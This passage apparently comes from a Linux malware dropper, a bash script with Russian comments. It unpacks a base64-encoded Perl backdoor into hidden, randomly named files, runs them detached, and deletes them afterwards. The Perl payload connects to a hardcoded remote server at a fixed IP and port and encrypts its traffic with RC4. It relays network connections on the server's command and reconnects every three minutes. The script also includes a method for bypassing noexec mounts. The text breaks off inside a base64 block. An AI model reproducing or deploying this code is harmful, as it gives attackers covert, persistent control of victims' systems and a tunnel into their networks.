cik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_76cec7c3() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzAnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJ